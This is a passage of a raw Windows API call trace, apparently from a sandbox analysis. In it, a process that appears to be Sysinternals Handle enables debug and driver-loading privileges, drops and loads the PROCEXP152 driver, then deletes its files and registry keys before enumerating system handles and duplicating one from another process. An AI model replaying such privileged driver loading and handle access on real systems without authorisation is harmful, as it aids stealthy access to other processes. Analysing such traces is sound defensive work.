!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0058.121] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x100) returned 0x1712c0 [0058.121] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0058.121] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x1712c0) returned 0x100 [0058.122] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0058.122] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0058.122] GetCurrentProcess () returned 0xffffffffffffffff [0058.122] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0058.122] GetLastError () returned 0x0 [0058.122] SetLastError (dwErrCode=0x0) [0058.122] GetLastError () returned 0x0 [0058.122] SetLastError (dwErrCode=0x0) [0058.122] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0058.122] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0058.122] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0058.122] GetLastError () returned 0x0 [0058.122] SetLastError (dwErrCode=0x0) [0058.122] GetLastError () returned 0x0 [0058.122] SetLastError (dwErrCode=0x0) [0058.123] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x7c) returned 0x0 [0058.123] RegSetValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0058.124] RegCloseKey (hKey=0x7c) returned 0x0 [0058.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x0) returned 1 [0058.124] GetCurrentProcess () returned 0xffffffffffffffff [0058.124] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12e3e0 | out: TokenHandle=0x12e3e0*=0x7c) returned 1 [0058.124] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12e3e8 | out: lpLuid=0x12e3e8*(LowPart=0x14, HighPart=0)) returned 1 [0058.331] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x12e3f0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0058.331] GetLastError () returned 0x0 [0058.331] CloseHandle (hObject=0x7c) returned 1 [0058.331] GetLastError () returned 0x0 [0058.331] SetLastError (dwErrCode=0x0) [0058.331] GetLastError () returned 0x0 [0058.331] SetLastError (dwErrCode=0x0) [0058.336] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0058.336] GetLastError () returned 0x2 [0058.336] SetLastError (dwErrCode=0x2) [0058.336] GetLastError () returned 0x2 [0058.336] SetLastError (dwErrCode=0x2) [0058.340] CreateFileW (lpFileName="\\\\.\\Global\\PROCEXP152" (normalized: "procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0058.340] GetSystemDirectoryW (in: lpBuffer=0x12eaa0, uSize=0x208 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0058.340] GetLastError () returned 0x2 [0058.341] SetLastError (dwErrCode=0x2) [0058.341] GetLastError () returned 0x2 [0058.341] SetLastError (dwErrCode=0x2) [0058.341] FindResourceW (hModule=0x0, lpName=0x67, lpType="BINRES") returned 0x14003d0b8 [0058.341] LoadResource (hModule=0x0, hResInfo=0x14003d0b8) returned 0x14003d420 [0058.341] SizeofResource (hModule=0x0, hResInfo=0x14003d0b8) returned 0x8618 [0058.341] LockResource (hResData=0x14003d420) returned 0x14003d420 [0058.341] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x28) returned 0x173630 [0058.341] CreateFileW (lpFileName="C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" (normalized: "c:\\windows\\system32\\drivers\\procexp152.sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x12e210, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0058.342] GetFileType (hFile=0x7c) returned 0x1 [0058.342] WriteFile (in: hFile=0x7c, lpBuffer=0x14003d420*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x12c7f0, lpOverlapped=0x0 | out: lpBuffer=0x14003d420*, lpNumberOfBytesWritten=0x12c7f0*=0x8000, lpOverlapped=0x0) returned 1 [0058.344] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x1000) returned 0x178b10 [0058.344] WriteFile (in: hFile=0x7c, lpBuffer=0x178b10*, nNumberOfBytesToWrite=0x618, lpNumberOfBytesWritten=0x12c7e0, lpOverlapped=0x0 | out: lpBuffer=0x178b10*, lpNumberOfBytesWritten=0x12c7e0*=0x618, lpOverlapped=0x0) returned 1 [0058.344] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0058.344] CloseHandle (hObject=0x7c) returned 1 [0058.344] GetCurrentProcess () returned 0xffffffffffffffff [0058.344] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12d900 | out: TokenHandle=0x12d900*=0x7c) returned 1 [0058.344] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeLoadDriverPrivilege", lpLuid=0x12d908 | out: lpLuid=0x12d908*(LowPart=0xa, HighPart=0)) returned 1 [0058.515] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x12d910*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0058.515] GetLastError () returned 0x0 [0058.515] CloseHandle (hObject=0x7c) returned 1 [0058.515] GetLastError () returned 0x0 [0058.515] SetLastError (dwErrCode=0x0) [0058.515] GetLastError () returned 0x0 [0058.515] SetLastError (dwErrCode=0x0) [0058.515] RegCreateKeyW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Services\\PROCEXP152", phkResult=0x12d988 | out: phkResult=0x12d988*=0x7c) returned 0x0 [0058.517] RegSetValueExW (in: hKey=0x7c, lpValueName="Type", Reserved=0x0, dwType=0x4, lpData=0x12d980*=0x1, cbData=0x4 | out: lpData=0x12d980*=0x1) returned 0x0 [0058.517] RegSetValueExW (in: hKey=0x7c, lpValueName="ErrorControl", Reserved=0x0, dwType=0x4, lpData=0x12d980*=0x1, cbData=0x4 | out: lpData=0x12d980*=0x1) returned 0x0 [0058.518] RegSetValueExW (in: hKey=0x7c, lpValueName="Start", Reserved=0x0, dwType=0x4, lpData=0x12d980*=0x3, cbData=0x4 | out: lpData=0x12d980*=0x3) returned 0x0 [0058.518] GetLastError () returned 0x0 [0058.518] SetLastError (dwErrCode=0x0) [0058.518] GetLastError () returned 0x0 [0058.518] SetLastError (dwErrCode=0x0) [0058.518] RegSetValueExW (in: hKey=0x7c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS", cbData=0x5c | out: lpData="\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS") returned 0x0 [0058.519] RegCloseKey (hKey=0x7c) returned 0x0 [0058.519] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0058.519] GetProcAddress (hModule=0x77140000, lpProcName="NtLoadDriver") returned 0x77192100 [0058.519] GetLastError () returned 0x0 [0058.519] SetLastError (dwErrCode=0x0) [0058.519] GetLastError () returned 0x0 [0058.519] SetLastError (dwErrCode=0x0) [0058.519] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0058.519] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0058.519] RtlInitUnicodeString (in: DestinationString=0x12d990, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\PROCEXP152" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\PROCEXP152") [0058.519] NtLoadDriver (DriverServiceName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\PROCEXP152") returned 0x0 [0061.426] GetLastError () returned 0x0 [0061.426] SetLastError (dwErrCode=0x0) [0061.426] GetLastError () returned 0x0 [0061.426] SetLastError (dwErrCode=0x0) [0061.426] RegDeleteKeyW (hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Services\\PROCEXP152\\Enum") returned 0x0 [0061.426] GetLastError () returned 0x0 [0061.426] SetLastError (dwErrCode=0x0) [0061.426] GetLastError () returned 0x0 [0061.426] SetLastError (dwErrCode=0x0) [0061.426] RegDeleteKeyW (hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Services\\PROCEXP152\\Security") returned 0x2 [0061.426] RegDeleteKeyW (hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Services\\PROCEXP152") returned 0x0 [0061.427] GetLastError () returned 0x0 [0061.427] SetLastError (dwErrCode=0x0) [0061.427] GetLastError () returned 0x0 [0061.427] SetLastError (dwErrCode=0x0) [0061.431] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0061.431] SeCaptureSubjectContext (in: SubjectContext=0xfffff880054f8598 | out: SubjectContext=0xfffff880054f8598) [0061.431] ExGetPreviousMode () returned 0xfffffa80036a0b01 [0061.431] SePrivilegeCheck (in: RequiredPrivileges=0xfffff880054f85b8, SubjectSecurityContext=0xfffff880054f8598, AccessMode=0x1 | out: RequiredPrivileges=0xfffff880054f85b8) returned 1 [0061.431] SeReleaseSubjectContext (in: SubjectContext=0xfffff880054f8598 | out: SubjectContext=0xfffff880054f8598) [0061.431] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.431] DeleteFileW (lpFileName="C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" (normalized: "c:\\windows\\system32\\drivers\\procexp152.sys")) returned 1 [0061.432] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.432] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0061.432] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.432] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationThread") returned 0x77191560 [0061.432] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.432] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x77191670 [0061.432] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.433] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySymbolicLinkObject") returned 0x771925d0 [0061.433] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.433] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryDirectoryObject") returned 0x77192440 [0061.433] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.433] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77192310 [0061.433] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.433] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenDirectoryObject") returned 0x77191890 [0061.433] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.435] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryObject") returned 0x77191410 [0061.435] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.435] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySection") returned 0x77191820 [0061.435] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.435] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitAnsiString") returned 0x77197f80 [0061.435] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.435] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0061.435] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.435] GetProcAddress (hModule=0x77140000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77194e50 [0061.435] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.435] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeUnicodeString") returned 0x77195610 [0061.435] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.435] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeAnsiString") returned 0x77195610 [0061.435] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0061.435] GetProcAddress (hModule=0x77140000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77195c50 [0061.435] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x0, Length=0x0, ResultLength=0x0 | out: SystemInformation=0x0, ResultLength=0x0) returned 0xc0000004 [0061.436] GetLastError () returned 0x0 [0061.436] SetLastError (dwErrCode=0x0) [0061.436] GetLastError () returned 0x0 [0061.436] SetLastError (dwErrCode=0x0) [0061.436] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0061.436] GetLastError () returned 0x0 [0061.436] SetLastError (dwErrCode=0x0) [0061.436] GetLastError () returned 0x0 [0061.436] SetLastError (dwErrCode=0x0) [0061.436] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0061.436] GetLastError () returned 0x0 [0061.436] SetLastError (dwErrCode=0x0) [0061.436] GetLastError () returned 0x0 [0061.436] SetLastError (dwErrCode=0x0) [0061.436] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0061.436] GetLastError () returned 0x0 [0061.436] SetLastError (dwErrCode=0x0) [0061.436] GetLastError () returned 0x0 [0061.437] SetLastError (dwErrCode=0x0) [0061.437] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\DosDevices\\C:" | out: DestinationString="\\DosDevices\\C:") [0061.437] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0xc0) returned 0x0 [0061.437] NtQuerySymbolicLinkObject (in: SymLinkObjHandle=0xc0, LinkTarget=0x12dbe0, DataWritten=0x12db08 | out: LinkTarget="\\Device\\HarddiskVolume1", DataWritten=0x12db08) returned 0x0 [0061.437] CloseHandle (hObject=0xc0) returned 1 [0061.437] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\Device\\HarddiskVolume1" | out: DestinationString="\\Device\\HarddiskVolume1") [0061.437] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0x0) returned 0xc0000024 [0061.437] GetLastError () returned 0x0 [0061.437] SetLastError (dwErrCode=0x0) [0061.437] GetLastError () returned 0x0 [0061.437] SetLastError (dwErrCode=0x0) [0061.437] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0061.437] GetLastError () returned 0x0 [0061.437] SetLastError (dwErrCode=0x0) [0061.437] GetLastError () returned 0x0 [0061.437] SetLastError (dwErrCode=0x0) [0061.437] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0061.437] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.438] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.438] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0061.438] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.438] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.438] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0061.438] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.438] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.438] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0061.438] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.438] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.438] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0061.438] GetLastError () returned 0x0 [0061.438] SetLastError (dwErrCode=0x0) [0061.439] GetLastError () returned 0x0 [0061.439] SetLastError (dwErrCode=0x0) [0061.439] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0061.439] GetLastError () returned 0x0 [0061.439] SetLastError (dwErrCode=0x0) [0061.439] GetLastError () returned 0x0 [0061.439] SetLastError (dwErrCode=0x0) [0061.439] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0061.439] GetLastError () returned 0x0 [0061.439] SetLastError (dwErrCode=0x0) [0061.439] GetLastError () returned 0x0 [0061.439] SetLastError (dwErrCode=0x0) [0061.439] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0061.439] GetLastError () returned 0x0 [0061.439] SetLastError (dwErrCode=0x0) [0061.439] GetLastError () returned 0x0 [0061.439] SetLastError (dwErrCode=0x0) [0061.439] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0061.439] GetLastError () returned 0x0 [0061.439] SetLastError (dwErrCode=0x0) [0061.440] GetLastError () returned 0x0 [0061.440] SetLastError (dwErrCode=0x0) [0061.440] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0061.440] GetLastError () returned 0x0 [0061.440] SetLastError (dwErrCode=0x0) [0061.440] GetLastError () returned 0x0 [0061.440] SetLastError (dwErrCode=0x0) [0061.440] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0061.440] GetLastError () returned 0x0 [0061.440] SetLastError (dwErrCode=0x0) [0061.440] GetLastError () returned 0x0 [0061.440] SetLastError (dwErrCode=0x0) [0061.440] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0061.440] GetLastError () returned 0x0 [0061.440] SetLastError (dwErrCode=0x0) [0061.440] GetLastError () returned 0x0 [0061.440] SetLastError (dwErrCode=0x0) [0061.440] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0061.440] GetLastError () returned 0x0 [0061.440] SetLastError (dwErrCode=0x0) [0061.441] GetLastError () returned 0x0 [0061.441] SetLastError (dwErrCode=0x0) [0061.441] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0061.441] GetLastError () returned 0x0 [0061.441] SetLastError (dwErrCode=0x0) [0061.441] GetLastError () returned 0x0 [0061.441] SetLastError (dwErrCode=0x0) [0061.441] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0061.441] GetLastError () returned 0x0 [0061.441] SetLastError (dwErrCode=0x0) [0061.441] GetLastError () returned 0x0 [0061.441] SetLastError (dwErrCode=0x0) [0061.441] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0061.441] GetLastError () returned 0x0 [0061.441] SetLastError (dwErrCode=0x0) [0061.441] GetLastError () returned 0x0 [0061.441] SetLastError (dwErrCode=0x0) [0061.441] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0061.442] GetLastError () returned 0x0 [0061.442] SetLastError (dwErrCode=0x0) [0061.442] GetLastError () returned 0x0 [0061.442] SetLastError (dwErrCode=0x0) [0061.442] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0061.442] GetLastError () returned 0x0 [0061.442] SetLastError (dwErrCode=0x0) [0061.442] GetLastError () returned 0x0 [0061.442] SetLastError (dwErrCode=0x0) [0061.442] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0061.442] GetLastError () returned 0x0 [0061.442] SetLastError (dwErrCode=0x0) [0061.442] GetLastError () returned 0x0 [0061.442] SetLastError (dwErrCode=0x0) [0061.442] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0061.442] GetLastError () returned 0x0 [0061.442] SetLastError (dwErrCode=0x0) [0061.442] GetLastError () returned 0x0 [0061.442] SetLastError (dwErrCode=0x0) [0061.442] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0061.443] GetLastError () returned 0x0 [0061.443] SetLastError (dwErrCode=0x0) [0061.443] GetLastError () returned 0x0 [0061.443] SetLastError (dwErrCode=0x0) [0061.443] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0061.443] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x4000) returned 0x178b10 [0061.443] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x178b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x742a8) returned 0xc0000004 [0061.448] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.448] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x8000) returned 0x178b10 [0061.450] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x178b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x742a8) returned 0xc0000004 [0061.453] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.453] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x10000) returned 0x178b10 [0061.453] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x178b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x742a8) returned 0xc0000004 [0061.459] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.459] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x20000) returned 0x178b10 [0061.459] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x178b10, Length=0x20000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x742a8) returned 0xc0000004 [0061.464] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.464] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x40000) returned 0x178b10 [0061.808] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x178b10, Length=0x40000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x74690) returned 0xc0000004 [0061.818] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.818] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x80000) returned 0x1e40080 [0061.819] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1e40080, Length=0x80000, ResultLength=0x12e420 | out: SystemInformation=0x1e40080, ResultLength=0x12e420*=0x74690) returned 0x0 [0061.837] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x4000) returned 0x178b10 [0061.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x178b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x13d70) returned 0xc0000004 [0061.837] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.837] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x8000) returned 0x178b10 [0061.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x178b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x13d70) returned 0xc0000004 [0061.837] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.837] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0xc000) returned 0x178b10 [0061.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x178b10, Length=0xc000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x13d70) returned 0xc0000004 [0061.838] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.838] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x10000) returned 0x178b10 [0061.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x178b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x13d70) returned 0xc0000004 [0061.838] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x178b10 | out: hHeap=0x150000) returned 1 [0061.838] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x14000) returned 0x178b10 [0061.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x178b10, Length=0x14000, ResultLength=0x12e420 | out: SystemInformation=0x178b10, ResultLength=0x12e420*=0x13d70) returned 0x0 [0061.838] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x6c8) returned 0xc0 [0061.838] GetCurrentProcess () returned 0xffffffffffffffff [0061.838] DuplicateHandle (in: hSourceProcessHandle=0xc0, 